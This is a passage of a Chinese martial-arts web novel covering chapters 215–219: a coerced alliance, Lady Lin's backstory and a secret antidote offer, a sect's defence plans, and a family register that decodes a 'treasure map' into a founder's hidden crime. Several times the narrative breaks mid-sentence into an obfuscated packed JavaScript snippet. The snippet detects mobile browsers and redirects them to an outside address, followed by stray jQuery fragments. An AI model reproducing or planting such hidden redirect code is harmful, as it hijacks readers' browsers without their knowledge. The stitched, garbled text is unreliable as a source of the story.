“其二,不得用噬魂散来控制我们和我们的人。否则,合作立即停止,我宁可死,也不会受你的摆布。” 此话一出,葛宏丰、占志高都是一震,暗赞谢立梁头脑机敏,竟没有忘记这一节。若魏彦成趁着合作达成他们警惕不足之时下药,那岂不是如今所有的筹谋都要功亏一篑。 魏彦成也是神色一凛,没想到谢立梁如此狡猾,竟然预判了自己的计划。伏牛山上下就是被他以武力偷袭在先,继而用摄魂撒控制住的,若不能如法炮制,那其他三家就随时有可能脱离掌控。这一点对于魏彦成来说并不是稳妥的选择。 然而谢立梁将这话明着说出来,就已经表明他们对此有了防范,再想下药就没那么容易。而他投鼠忌器,害怕三人真的硬气到抹脖子,这样一来下药的计划就只能作废。 “好,我答应你。” 谢立梁暗中松了口气,继续道:“其三,便是葛兄刚刚说的。你拿下文远骥,宝藏自然也会落入你手。既然要合作,那宝藏就必须平分,你看如何?” 谈判到了现在,魏彦成已没有拒绝的余地,于是第三个条件也很快被答应。 这之后,魏彦成便命令众高手退下,让人给占志高接上臂膀,连带张久辉一起,五个人继续商议后续的行动。 215. 夜访 在忙碌了整整一日后,林夫人才拖着疲惫的身体和发懵的脑袋回到了卧房。 侍候的婢女立刻奉上烧好的茶水,并说:“夫人没有用晚饭,这会子肯定饿的狠了,婢子这就吩咐人把饭送来。” 哪知自己的殷勤招来的竟是主子的一顿呵斥:“你瞧着我如今还能吃得下么?没良心的东西!杵在这里碍眼,还不快滚!” 婢女吓得立刻伏在地上:“婢子是看夫人连日辛苦,又有苦说不出,这才多了句嘴……夫人,您自己的身体要紧,如今山庄和太湖水寨都靠您一个人撑着呢,再难过也得先把饭吃了不是。” 听了这些话,林夫人更是懊恼地猛砸桌子:“狗娘养的魏彦成!” 婢女随即直起身体抱住她的拳头:“夫人仔细手疼!” 林夫人这才看了一眼对自己忠心耿耿的丫头,哀叹一声:“起来吧,也不是你的错。我心里烦,脾气太爆了,你多担待些。” “婢子明白,婢子怎么会怪夫人。”婢女起身,给她到了一杯茶递到面前,“要怪就怪那些恶人,害死了郝寨主不说,还要把芙蓉山庄和太湖水寨一同拖入泥潭!” 林夫人悔恨至际,若说害人,即便魏彦成是主谋,自己也是帮凶。四日前,亲眼看到郝鹏祖身首异处,震惊和悲痛冲垮了她,竟使得自己生出了惧意,以至于无法反抗魏彦成的奸计。 如今自己的庄客以及郝鹏祖手下二十多个水匪全都被魏彦成的人灌下了“噬魂撒”,要想苟活,必须听从魏家的摆布。每每念及此处,她都后悔自己当时为什么没有直接跟着郝鹏祖一起去了! 林夫人本姓林,是太湖上打渔人家的女儿,因姿容秀美被芙蓉山庄前任庄主抢来做小妾。她不甘心一辈子只做男人的附庸,便假意奉承夫君,哄着他让自己学武,渐渐地还能过问庄务,插手庄子里人财物的支配。 因她聪明伶俐,前庄主随口吩咐下去的几件小事都办得不错,之后他便会不时把一些涉及庄外的事也交代给她。 有一回,她奉命去下头水田收账,遇上了当时还是一般绿林的郝鹏祖。郝鹏祖见她前簇后拥,穿戴不俗,还以为是哪个富户人家的小姐,一直跟到一处偏僻港湾便不由分说将她的随从砍杀。 林夫人习武已有年头,趁着随从与之搏斗立刻从后面扑上,虽没能杀死郝鹏祖,却也令他吃了一个大亏。 郝鹏祖从没见过会武的女人,且在和他搏斗时,林夫人居然毫不畏惧,所出的每一招都是想要了他的性命。再加上打斗中林夫人的帷帽脱落,漏出了一张清丽动人同时又倔强果敢的脸来,一下子就将郝鹏祖的魂勾了去。 也正是这一瞬间的脱线,让林夫人找准时机砍了他一刀,随即趁着他抱头闪避的间隙逃跑了。 林夫人回到山庄,向庄主道出了自己的遭遇,庄主看着她血染的衣裙和身上数道伤口,皱了皱眉头,让她先下去治伤。 庄主碍于脸面没有在明面上展示出不快或怀疑,但从那以后,就不怎么去她的房中,也再也不将山庄里外的事交给她去办了。不仅如此,庄主宠爱她时的一应待遇也很快减半甚至取消,她渐渐成为了山庄后院中无人问津的弃妇。 林夫人这才明白,自己孤身逃回,又形容狼狈,即便她只是遭盗匪抢劫并未失|贞,庄主也免不了要起疑心,从而厌弃了她。 这般处境如果持续下去,她只有死路一条。为了活下来,她开始想各种办法,幸好手头还有一些庄主之前赏赐的金银以及贵价的首饰,庄中下人里也有她过去特意收买的眼线。慢慢地,她便能掌握庄主的动向,也拉拢了一两个同样被庄主贬抑却无处可去只能委屈求全的庄客为她所用。 另一边,养好伤的郝鹏祖始终没能忘了那个张牙舞爪心狠大胆的丫头。劫道时,林夫人的包袱遗落当场,郝鹏祖从中找到了一些文书,猜出她是芙蓉山庄的人。这之后他便设法进入芙蓉山庄,费了好大功夫,才发现原来那个丫头竟是庄主的小妾,还是个已经不得宠几乎在等死的小妾。 某天夜晚,他闯入林夫人的居所,向她道明自己的心思。林夫人不可思议,想不通他真会为了她这样只见过一面、甚至还兵戎相见的女子如此大费周章。 郝鹏祖虽是匪徒出生,对待女人却很有君子之道,他没有强迫林夫人从了他,反而告诉她,如果不愿意继续留在这儿,他可以想办法把她带出去。林夫人不置可否,他便知趣地走了。 之后还会时不时地趁半夜无人之际跑到她的窗边,丢一些外面买来的点心或是首饰给她。但也仅止于此,倒让林夫人对他刮目相看。 又过了几个月,芙蓉山庄宴请当时太湖水匪的头目,竟让林夫人和另外两个也被庄主弃置良久的小妾去陪酒。席间,几个头目对她们动手动脚,庄主竟然置若罔闻,摆明了就是拿她们当妓女招待这些所谓的“贵客”。她咬着牙,承受了当晚所有的屈辱,并下定决心一定要翻身做主,让自己再也不用受男人的摆布。 于是,她便和郝鹏祖,还有与自己相熟的下人、庄客里应外合,邀齐了一帮绿林山匪在夜色中杀进芙蓉山庄。庄主被提前下了迷药,死在了睡梦之中。庄中其余下人和庄主豢养的庄客被杀的杀,绑的绑,很快没有了反抗之力。 就这样,林夫人和与自己合作的两个庄客窃取了芙蓉山庄的一切权力,并在随后的日子里清除异己,逐步将整个芙蓉山庄都掌握在了自己手上。 而郝鹏祖则在林夫人的扶持下,杀了太湖水匪的那几个头目,自己成了太湖水寨说一不二的头头。 二十多年过去,江湖上对于这段过往知之甚少,但二人关系亲近,芙蓉山庄和太湖水匪互为依仗的事则无人不晓。 郝鹏祖虽是个粗人,待林夫人却一如从前,大小事也总喜欢让她拿主意。两人相伴半生,感情甚笃,谁知一朝惊变,郝鹏祖就这样随随便便地做了刀下亡魂。 更可气者,魏彦成怕惹人注目,让天魄门知悉自己的计划,竟不准给郝鹏祖办丧事。林夫人只能命人找了口棺材,草草掩埋。 连日来,林夫人要按照魏彦成的吩咐召集手下人服毒服药,还要安排人收拾行装不日出发,还在忙碌间隙亲手给郝鹏祖布置了一个小小的灵堂。魏彦成派来的人白天一直跟着她,最后一桩事都只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“救我?!”林夫人露出怀疑的表情。 “不错。”阮云飞仍是一副了然一切的神色,“连同夫人在内,芙蓉山庄和太湖水寨上下五十余人都中了魏家的噬魂撒,如今仰人鼻息,为俎上鱼肉。我说得可对?” 林夫人眉心骤然缩紧,嘴巴张得更大,阮云飞便知自己的猜测八九不离十,便继续说道:“我说来‘救你”,并非大言不惭。因为这噬魂撒的解药,如今就在我的手上。” “解药”二字足以触动林夫人紧绷的心弦,她立刻站起来,瞪着眼睛逼视阮云飞,似乎想用这个方法来辨别她说得到底是不是真话。 “林夫人或许有所不知,魏家所用的毒是号称‘百草毒王’的王三山王老爷子炼制的,魏家只会给你那种只管三日的假解药,而我手上的则是能彻底解去毒性的真解药。” 这句话更让林夫人惊愕,若她能出声,此时必然已经叫出声来了。 阮云飞重重点了两下头,表示自己所说皆为真话,继而道:“如果林夫人信得过我,不妨与我坐下来,好好谈一谈,如何?” 216. 夜访(二) 阮云飞是天魄门搬来的救兵。 文远骥料到,魏家父子不会放弃宝藏,亦不会停止夺取门主之位的谋划。为达目的,他们还会有后招。 魏宅之中,隶属于魏菘泽的诸多高手和护卫送命,如要行动,魏家必然还需动用更多人力。那么如今尚存的响水帮很可能被再次启用。 长风镖局照旧帮他盯着江南一片江湖人的动向,而贺家庄则派出部分人手盯梢响水帮。虽然往来淮安的江湖人行踪隐秘,状若无意,但十数个帮派首领前后脚出现在响水帮总归要露出些马脚。林夫人便是最关键的一处“马脚”。 她去时虽然无踪,回来的时候却抬着一口棺材,而身边却看不到郝鹏祖的影子。他们二人一向形影不离,这番异常引起了贺家眼线的注意。消息被同时送到贺家庄及长风镖局,一直在长风镖局等待的陆文渊和齐建霄商议,当务之急是从林夫人口中得知淮安之会的具体内容。 特别是,如果他们所料不错,那么主导这次聚会的必然是魏彦成,而且他为了要挟江湖人为自己所用,很有可能再度施之以噬魂撒。 陆文渊手上有王三山离开前留给他的几枚解毒药丸,或许可以用这个诱使林夫人说出真相。在行动前,齐建霄提议他去向阮云飞求援。 一则,长风镖局与天魄门交好已过了明路,魏家必然会对他的人有所防范,此时要在魏彦成眼皮子底下行事,最好再找新的面孔来,自去年襄阳武林大会后,彭城派从未参与过和宝藏有关的江湖纷争,距离太湖也不算太远,正好引以为援。 二则,林夫人是女眷,郝鹏祖身故必然使之痛苦难当;她和阮云飞又同在倪家庄听闻了与宝藏有关的来龙去脉,会更容易相信她的所为和魏家的目的并不相同。 比起陆文渊单纯以解药相威胁,让阮云飞晓之以理、动之以情说不定效果更好。毕竟如今敌在暗、我在明,必须一击即中,拿到最可靠的消息才能继续往下筹谋。 齐建霄思虑周密,陆文渊也觉得如此最为妥当。去岁末,他从骆雁声那里学来了上乘轻功,如今的脚力远胜于去年。他先去彭城,向阮云飞道明天魄门如今的情势和面临的威胁,进而邀她出面向林夫人打探内情。 阮云飞立马应允,同他一起前来。为保险起见,两人先花了两天时间探查芙蓉山庄内外的情形和林夫人的起居习惯,发现庄中有外人,林夫人待之甚为惧怕,且除了吃饭睡觉,几乎不离开林夫人半步,料定他必然是魏家安插过来的监视之人。 于是,两人才选在庄中人人入定之时,潜入林夫人的卧房。外间守夜的婢女是陆文渊先用迷药迷晕的,林夫人也是他守在梁上趁其慌神之际点的穴。他一直未在林夫人面前现身,等她和阮云飞进了内间之后才又从房梁跳下来守在门口,一方面是为了警惕一切靠近卧房的人,同时也是怕林夫人一旦不合作喊叫起来,他好出其不意地带着阮云飞逃走。 “你真的有解药?” 穴道被解开后,林夫人最先关心的还是这件事。 “当然,夫人大可放心,只要我问到了我想要的,自然会把解药给你。” “你想问什么?” “夫人和一众江湖人齐聚响水帮,在那里听到了什么?又承诺了什么?” “不管我听到了什么,将来要做什么,都和彭城派毫无瓜葛,你打听这些干什么?” “和彭城派的确没什么关系,但和江湖盛传的天魄门宝藏有关,不是吗?”阮云飞接着试探。 林夫人眉毛竖起,难以置信道:“难道你也想得到这个宝藏?” 在她的印象里,倪家庄之会中唯有阮云飞不屑于此,一心一意只想为她故去的夫君报仇。 “林夫人误会了,宝藏本就是天魄门私藏,彭城派取之无益。” “原来你是天魄门派来的。”林夫人这才恍然大悟,还点了点头。 “是。去年因门主之争,我和我的弟子们被迫远走他乡,是天魄门的许淑平前辈收留了我们,还时常指点我的武功。我能一举诛杀夏中宇这个叛徒,并为夫君之死求得真相,全都得益于许前辈和文门主指点迷津。落难之时的恩义最为难得,如今魏菘泽要与天魄门作对,即便我力量有限,也务必要帮上一帮。” 阮云飞言语诚恳,特别是林夫人正沉浸在郝鹏祖被害的愤懑和受制于人的憋屈之中,此刻听来更觉得声声入耳,片刻前还存有的怀疑和惊惧也由此褪去大半。 “只要我将魏彦成的计谋说出来,你就会把解药给我?” “当然,不过我只能给你一颗解药。至于庄中其他人和水寨里的一众好汉,就得再等一等。” “等到什么时候?” “魏家阴谋败落,天魄门重获安全。” “你怕我首鼠两端,哄骗与你?” “那倒没有。之所以要到那时才能给夫人麾下众人解毒,有两个缘故。”面对质问,阮云飞不慌不忙,“一来,我手头上的解药有限,无法一下子供出那么多。天魄门现下正在加紧赶制解药,等太白山安全了,这批解药就能下山。” “那二来呢?” “二来嘛。如果现在就给这么多人同时解了毒,夫人有把握能够骗过魏家派来的眼线么?如果让魏彦成知道你与天魄门私下联系,已脱离他的掌控,你觉得会有什么后果?” 林夫人醍醐灌顶,也不禁点起头来:“你说的有道理。” “这位眼线,除了监视夫人的一举一动,想必还肩负着按时发放假解药的任务。只要山庄和水寨一切如常,在魏家达成目的之前,解药定能按时供给。暂时来说,夫人的手下不会有性命之忧。所以说,今日夫人只需要一颗解药。” 林夫人抬眸望向她,疑惑道:“既然如此,你为什么不也扣下这颗解药?有它做牵制,我不是会更加听话?” “答案很简单,我想要得到夫人的信任。若我不先让夫人相信,我手上的药真的能彻底解了噬魂撒的毒,夫人又怎会真心与我们合作呢?” 林夫人饶有兴味地瞧着她,须臾后竟绽出一个笑容:“那要是我解了毒,仍旧不肯对你说实话呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阮云飞能如此感念天魄门,为之亲临险地,想必文远骥和许淑平真的有过人之处。如能借他们的手让魏彦成受挫伏诛,也不失为替郝鹏祖报仇的一种迂回之道。更何况,阮云飞说得对,芙蓉山庄和太湖水寨是自己经营了半生的心血,她绝不能眼睁睁看着他们落日歹人之手。 念及此处,她不再犹豫,放弃了先服解药,三日后再将真情和盘托出的计划,当即将响水帮中魏彦成所说、所做的一切都说了出来。 消息被加急送外太白山。文远骥拿出陆文渊的书信匆匆读完,顿感大事不妙。魏家的暴虐和迅速都超出了他和许淑平的料想。 再过三日,魏彦成召集的这批江湖人就会聚到太白山脚下。时间紧迫,意味着昨日刚刚商量好的对策已无法实施。 与此同时,有火药开路,江邵谦和王三山花费无数心血布置的防御网几乎无法抵挡。前后山的山民又来不及迁出,只会暴露于可怕的爆炸和杀戮之下。到那时,紫璇的安危、天魄门的存亡姑且不论,自己首先对不起的便是这些一直护佑着天魄门,天魄门也致力于庇护的无辜山民们。 217. 绸缪 两天前。 文远骥召集众人商议目前的局势及应对之法,紫璇、紫瑛也被叫来旁听。 固元堂堂主刘岳群先汇报了连日来筹集和采买药草的情况,这是在金陵时王三山就提前交代给文远骥的。 这批药材中,有一部分取自太白山,皆是山民们出力挖来的,如今正在章煦的督导下炮制成毒性一般、可作御敌之用的药粉或药丸。紫瑛人头熟,以往也常常帮着刘岳群处理山民们交货点算等事,这几天也都跟着章煦一起忙前忙后。 另有一些则是韩仲昌和乐青澜下山去采办的,都是一些本地罕有的珍贵药材,比如新鲜蟾蜍之类,则是为了在短期内制造出大批噬魂撒的解药。自药材齐备后,骆雁声和两个徒弟以及瑾瑜已经在药炉边上不眠不休连续奋战了好几日。 毒药每制好一批就会被送到负责山中各项工事、机关修造的崇本堂。堂主党元恒接上刘岳群的话,称崇本堂正按照文远骥新改定的图纸改造机关,把毒粉毒丸添到里面,再多两日,这项任务就能全部完成。 伍双全从师父江邵谦手中接过了守冲堂,在配合崇本堂完善守御之外,还负责安排人手驻扎各处岗哨并分批分时巡山等事,山中有任何异动都不可能逃过守冲堂的严密布控。 天魄门人力有限,不得不从山民中抽调了一些体格健壮、常在山上打猎的年轻人一同参与守卫,就连济英堂中未出师的弟子,凡满十六岁的也都被伍双接管了去。 与此同时,云阳范式和西河贺家也都承诺会派人前来支援,而今也已出发,大约再过两三日便可抵达太白山。 短短半个月,以天魄门现今的力量能做到这个份上已是极限,许淑平听后也说不出其他意见。骆雁声简短讲了几句解药炼制的近况,算到今日,他们手上已有约三百枚解药。 虑及魏家父子的野心和手腕,许淑平仍觉得不够,请骆雁声再辛苦几日,所得的解药要越多越好。 “你放心,丹炉不会停,王老前辈亦在研究更方便快捷的解毒之法,双管齐下,一定能在魏家作恶之前先卸去被迫加入其阵营的力量。” 许淑平向他投去感激的一瞥,点了点头。 她之所以有此考虑,是因为她在回程的路上,从贺家庄得到了有关魏家的最新动向。 贺家探子一直密切注意着几个天魄门旧部的动向。在魏菘泽将几个和太白山久无交集的旧部请到无锡之后,金刀门和伏牛山也成为了贺家关注的对象。 先是,金刀门易主,虽然事情做得隐蔽,贺家还是探听到了风声。过了两三日,谢立梁同葛宏丰几乎同时从自己的地盘出发,向着洛阳方向赶路。 其次,魏菘泽自那日之后就未出过无锡魏宅。而原本听命于他的黄昆及一众高手、护卫则被转移到了金陵。 这些消息被及时送到了贺新韵的案头,她觉得事不寻常,立刻发信给许淑平。许淑平这才绕道西河,一方面想了解更为详细的情况,另一方面也要交代贺新韵接下来在打探消息和支援太白山上要注意的要领。 就当时的这几条信息来看,其一可以看出,魏菘泽丧子失意,魏家现由魏彦成主导;其二,虽不清楚魏家父子在其中发挥了什么作用,但旧部们彼此联系,暗通消息已是板上钉钉。谢家同蓝田派交好并不新鲜,但二者同时关心金刀门的处境却很不寻常。在魏宅之事发生前,金刀门基本上不与其他天魄门旧部往来,薛粲本人也从不和谢、葛二人称兄道弟。 如此急匆匆赶往洛阳,与其说是关心曾经的同僚,不如说是好奇金刀门内斗因何而起。贺家作为消息枢纽,自然不会忽略金刀门突发内斗的蹊跷之处。占志高等人的怀疑贺新韵也能想到,她和许淑平一致认为,所谓的内斗极有可能是魏家引起的。 而魏家如此行事,一是要将金刀门收入麾下,为日后对付太白山做准备,恐怕还有以此恫吓其余天魄门旧部,迫使其与自己合作的意思。 一旦他们彼此勾连,那么太白山要面临的威胁就会加倍。要瓦解这些抱成团的力量,一靠守御,二靠解药,第三个关键则在于宝藏。 无论魏彦成能联合到多少旧部及江湖势力,所依靠的无非毒药胁迫和宝藏诱惑。前者并不难解决,但后者……只要江湖人觊觎宝藏的心不死,就会有源源不断的人供魏彦成驱使。 许淑平嘱咐贺新韵继续注意谢立梁和葛宏丰的动向,同时要留意伏牛山近日是否还有其他旧部出现。 “伏牛山?” 贺新韵有些不解,目前得到的消息中,伏牛山并没有任何异动啊。 “洛阳离河东及蓝田都不近,谢、葛两人却能同时得到消息同时赶赴洛阳,很难说不是张久辉把金刀门的事透露给了他们。我担心的是,张久辉联络的不只他们两家,以及这一次密会背后是否也有魏彦成的影子。” 赶回太白山后,许淑平已同文远骥和江邵谦商量过这些事情,防守和解药都在按计划进行。唯有宝藏,他们还没有拿定主意。 事实上,文远骥并不怕宝藏被人夺去,他所关心的,只有紫璇的性命和太白山的安危。如能用其他办法避开传说中守护宝藏的毒虫毒物,打开宝藏也并非不是当前能够破解危局的一个办法。 不过,宝藏既属于天魄门,就不是他一个人能说了算的。将众人聚齐,也是为了听一听门中其他人的想法。 “天魄门偏安日久,本也不靠这所谓的宝藏,没了便没了,有什么打紧。只要能守住太白山上下,让山民们不被殃及,我同意把宝藏给他们。”江珺翊率先表态。 四位堂主中,刘岳群最为年长,他也道:“珺翊说得不错。山上共有住民二百余口,世世代代生于斯、长于斯,供养着天魄门。若能用这些宝藏化解干戈,还算划算。” 党元恒却有些顾虑:“可这宝藏毕竟是祖师爷爷留下来的,全江湖都知道是咱们天魄门的东西。若咱们没守住,拱手让与他人,天魄门的脸面、门主的名声又怎么办?” 伍双全摇头道:“咱们如今的名声本来也不好,何必在乎这些。至于门主……”他瞧了一眼文远骥,闭上了嘴。 文远骥淡然一笑:“虚名而已,何足挂齿。” 虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江邵谦之下,四位堂主也全部赞成。文远骥这才转向另一边的王三山,请教了一个月前魏菘泽问过他的那个问题:是否可以制炼克制毒虫毒物的解药? 王三山的回答依然如故,只是不像一个月前对着魏菘泽那般敷衍,研制解药的时间也没有被故意说得很长。 “只要能确定毒物是什么,凭老夫的本事,一个月,足以找出克制之法。” 他的信誓旦旦越发坚定了文远骥以宝藏换取安宁的决心,他自袖中取出被紫璇带回来的藏宝图,道:“既然计议已定,那下一件棘手之事便是破解这副图谱。” 众人看着图上密密麻麻的奇怪符号,都陷入了沉默。 苏明启当年搜罗的一切有关宝藏的文书资料均已被烧毁,他们还能凭靠什么重新破解这副藏宝图呢? 寂静之中,许淑平的声音再度响起:“或许我已经找到了破解之法。” 众人惊愕抬头,却见她取出一本书册递给了文远骥,封面上写着四个字:“李氏家谱”。 紫璇马上认出,这份家谱出自假余漱交给瑾瑜的那包东西,和藏宝图同样来自后山李家祠堂。难道说,破解藏宝图的法子就藏在这里? 218. 秘密 当着阮云飞的面拆开假余漱留下来的包裹时,所有人的目光都被沈一峰的写给杨世坤的书信吸引了过去,没有任何人在意这本李氏家谱。 后来这本家谱被紫璇交给了许淑平。许淑平闲来无事翻看过几回,上面都是些李姓族人的姓名年谱,与一般宗族修著的家谱并无不不同。只是字迹不够工整,墨色深浅不一,字的笔画写法也屡有疏漏,似乎是一本草稿,尚未经过正式的订正誊抄。 唯一有点意思的是,徐淑平在最末找到了"李玉昆"的名字。上面记载着李玉昆的师承门派和平生事迹,与江湖传言基本相合。作为天魄门创派祖师褚慕瑶的得意弟子,李玉昆少年成名,自创的剑招“神锋无影”流传后世。但天妒英才,尚不足二十岁的李玉昆因一场急病死在了太白山上。 然而,魏宅之中,当许淑平拿到藏宝图,仔细看了几眼上面的各种符号时,一年前翻看家谱的一段记忆突然闯入了脑海。 一天晚上,她坐在桌前对着家谱研究了一段时间,始终未能从中发现什么端倪。李氏出自太白山,家谱藏于家祠本就是理所应当,只不过藏宝图正好同它放在一起罢了,上面并没有什么秘密。 许淑平放弃继续探究,上床歇息,睡前还按照贺新韵的叮咛给自己点上了安息香。 说来也是凑巧,当晚她的卧房窗户没有关死,留下了一条不大的缝隙。窗户正对着香炉,约摸丑时,外面刮起狂风,漏进窗户里的那一丝吹灭了本应该燃至寅时的安息香。紧接着雨也落了下来,撞在窗棂上发出噼噼啪啪的响声, 许淑平从睡梦中惊醒,立马发觉窗户没有关严实,随即掌着床边的一只残烛去关窗。回来时路过几案,正好瞥见被她摊开来放在上面的李氏家谱。 昏昏沉沉的头脑、模糊的视线再加上昏黄的烛火,家谱上的字似乎走了样,猛然看去仿佛只剩下了原来的一半,但又不是正常的偏旁部首。 第二天起来,她回想起此事,立刻又去看了一眼家谱,最终发现这只是因为字的深浅不一,在暗处阅看时只会注意到写得较粗墨色较黑的笔画。再加上家谱所用的纸张较薄,背后那张纸上有些笔画透过来和正面的叠合在一起,就会组成一个不伦不类的部件儿。 当时她并未多想,这份家谱就被她抛诸脑后,留在了秋山居。 瑾瑜拿出的那副藏宝图上,有一个符号恰好与许淑平那天半夜窥见的奇怪部首一模一样,许淑平这才意识到,李氏家谱就是解开藏宝图秘密的钥匙。 离开魏宅后,许淑平赶往秋山居,将家谱取了出来,带到了太白山,预备着必要时可以解开宝藏的埋藏之地。 她将自己的发现和猜想告知众人,文远骥夹起家谱的一页,吊起来对着外面射来的光仔细查看。前后两面纸上的字叠在一起,光线穿透纸张,墨色较浓重的笔画凸显出来,赫然便是藏宝图上的几个符号。 他一页一页翻动,每一页都对着阳光审视,很快又发现了许多暗藏其中的图符。文远骥将家谱放下来,陷入了思考。 江邵谦离他最近,从他手上接过家谱,也学着他的样子看了起来。紫瑛拿着藏宝图,站在他身后,和他一一对照同时出现在两边的符号。 紫璇看了几眼,已发觉问题所在,直言道:“就算我们在这本家谱上找到了图中的符号,又有什么用呢?” 许淑平缓缓言道:“我在贺家庄同贺永芳讨教消息秘术时,曾听她提起,隐秘传递信息有很多种办法,其中之一便是‘隐语’*。隐语者,将一般的字句用暗号或字符替代,只要你知道什么符号对应哪个字,就能读懂用这个方法传递的消息。” “也就是说,这些符号,每一个都代表了一个字,只要弄清楚具体是哪个字,就能破解这藏宝图了?”江珺翊顺着她的话想到。 “也不一定是一个字。一个符号也可以指代多个字,甚至一句话。这都取决于传递消息之人提前定好的隐语。”许淑平解释说。 “隐语就藏在家谱之中?”紫瑛一边对看一边皱起了眉头,她虽然能在家谱上找到许多符号,却看不出每个符号对应着什么字句。 然而下个瞬间,她就捕捉到了两个在藏宝图上连在一起的符号,并发现家谱之上这两个符号后头的字可以组成“圣女”两个字。 她马上反应过来,兴奋得叫着:“我知道了!” 等她把自己的发现讲出来,紫璇和江珺翊也一起趴了过来开始仔细寻找,伍双全则跑到政事堂另一边拿来笔墨,准备将每个符号后面的字都记下来。 他们从藏宝图上的第一个字符找起,一连对应了几个之后便试图拼凑出一句完整的话。试了一会儿他们就找到了规律。字符由几笔构成,那么对应的就是家谱上这个字符后面的几个字。 四个人解谜的速度越来越快,终于在半个时辰后,将图上的所有符号都变成了人人能够读懂的文字。 负责抄录的伍双全最先读了一遍,却在中途就变了脸色。紫瑛从他手上抢过那张纸,紫璇也把头凑过去,才看了两眼,就已然明白伍双全为何那般惊讶:因为这根本就不是什么藏宝图!!! ************************* 百余年前,褚慕瑶还只是个醉心武艺的年轻人,在江湖上名不见经传,天魄门也尚未横空出世。 同门师妹同他一样,痴迷武学兼天资过人。二人相知相恋,结为夫妇,师父离世后便定居于太白山,不时出山闯荡江湖,挑战武林高手,逐渐声名鹊起。 许多好武之人慕名而来,相约与之切磋,但二人武艺高强,几无败绩。这些人便留居太白山,以期与这一对伉俪再度交手。几年下来,太白山上汇聚了当时武林中的诸多高手,出身各异、功夫也各有千秋,每日彼此对战,品评武学,是为天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14489472|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魄门的前身。 褚慕瑶的师妹武学天分既高,又擅于变化,总能在师父传授的招式中添入新意,创出新招。不仅如此,她还从武学的本源出发,又以天地朝夕的变化为蓝本,博采众长,创立了不少新的武功。 每当有新的招式或武功雏形诞生,师妹都会第一时间和褚慕瑶探讨交流。褚慕瑶将这些新招式用于对战,往往能出奇制胜,赢得观战之人的满堂喝彩。 褚慕瑶罕逢敌手,又擅长笼络人心,前来挑战的江湖人无不对其心悦诚服,甚至有人表示愿意归附于他。他便顺势在这太白山上创立了天魄门,前来讨教的江湖人敌不过他,便会成为天魄门的附庸。 虽着天魄门的声势越来越大,褚慕瑶的权力欲也不断膨胀。渐渐的,他不再满足于等待门人加入,而是主动出击,用武力和手腕收服更多的江湖势力。他迫切地想要成为一统江湖的武林盟主,让所有人都拜倒在他的脚下。 褚慕瑶的所作所为已然背离了天魄门聚众为门,精研武学的初衷,私下里师妹也会规劝于他。可他的心已在追求权势的道路上一去不复返,对于任何不同于自己的意见都会被他斥之为“妇人之见、难堪大用”。 随着褚慕瑶将重心转移在外,久不在门中。那些因武学而来的门人便开始同门主夫人探讨起招式的优劣与存废,发现身为女子的她谈论起武学来居然鞭辟入里,其见识似乎远超褚慕瑶。 时间一长,便有个别人开始怀疑那些号称褚慕瑶自创的武功实际上乃是她的杰作。这些声音很快传到了褚慕瑶耳朵里,他立刻禁止师妹再与门人切磋讨论,以免引起更多人的怀疑。 师妹顾忌他的脸面,自此之后便很少露面,只安心地做他的贤内助。可即便如此,褚慕瑶仍不满足。他担心,若全江湖都知道他是靠着一个女人才成就了今日事业,不仅他的名声会一落千丈,一统江湖的霸业也必然落空。因此,他需要一个一劳永逸的法子,把整件事完完全全地掩埋在地下。 恰在此时,天降流星,落在了太白山以西。褚慕瑶借口陨石乃天地精华,服之能延年益寿,若用其练功则能助长功力,邀师妹同去武功山**寻找流星雨过后落下的陨石。 师妹毫无防备,被他诱至一处山洞。当她努力在内寻找陨石踪迹之时,褚慕瑶从背后使出爱徒李玉昆刚刚创出的“神锋无影”,就这样悄无声息的杀死了她。 回到天魄门后,褚慕瑶便谎称爱妻与他同在武功山闭关问道,遇仙人点化。仙人指他在人世尚有大功未竟,羽化登仙另有其时,便只带了爱妻离去。 此类装神弄鬼的言语在当时并不罕见,门人中三教九流居多,对此并未过多怀疑。即便有人疑心此中有蹊跷,也碍于褚慕瑶的威势不敢明言。 百年之间,这番说辞以讹传讹,便成为了后人口中所谓仙人授宝、圣女献祭的故事。与之并行的,还有藏宝图的传说。 219. 抉择(一) 天魄门日渐壮大,褚慕瑶在江湖中的地位也水涨船高,便有不少世家子弟拜在他的门下学艺,其中之一便是传为唐代德宗后裔的李氏子孙李玉昆。 李氏一族为避唐末战祸,西迁至太白山南麓,埋首经营已俞百年。虽人丁不旺,却也繁衍不息。从幼时起,李玉昆便尝听人说山的背面聚集了一伙流人,各个武艺高强,彼此对战不息,极为热闹。于是,在他十五岁那年,李玉昆瞒着家人,翻过太白山,找到了彼时天魄门的所在。 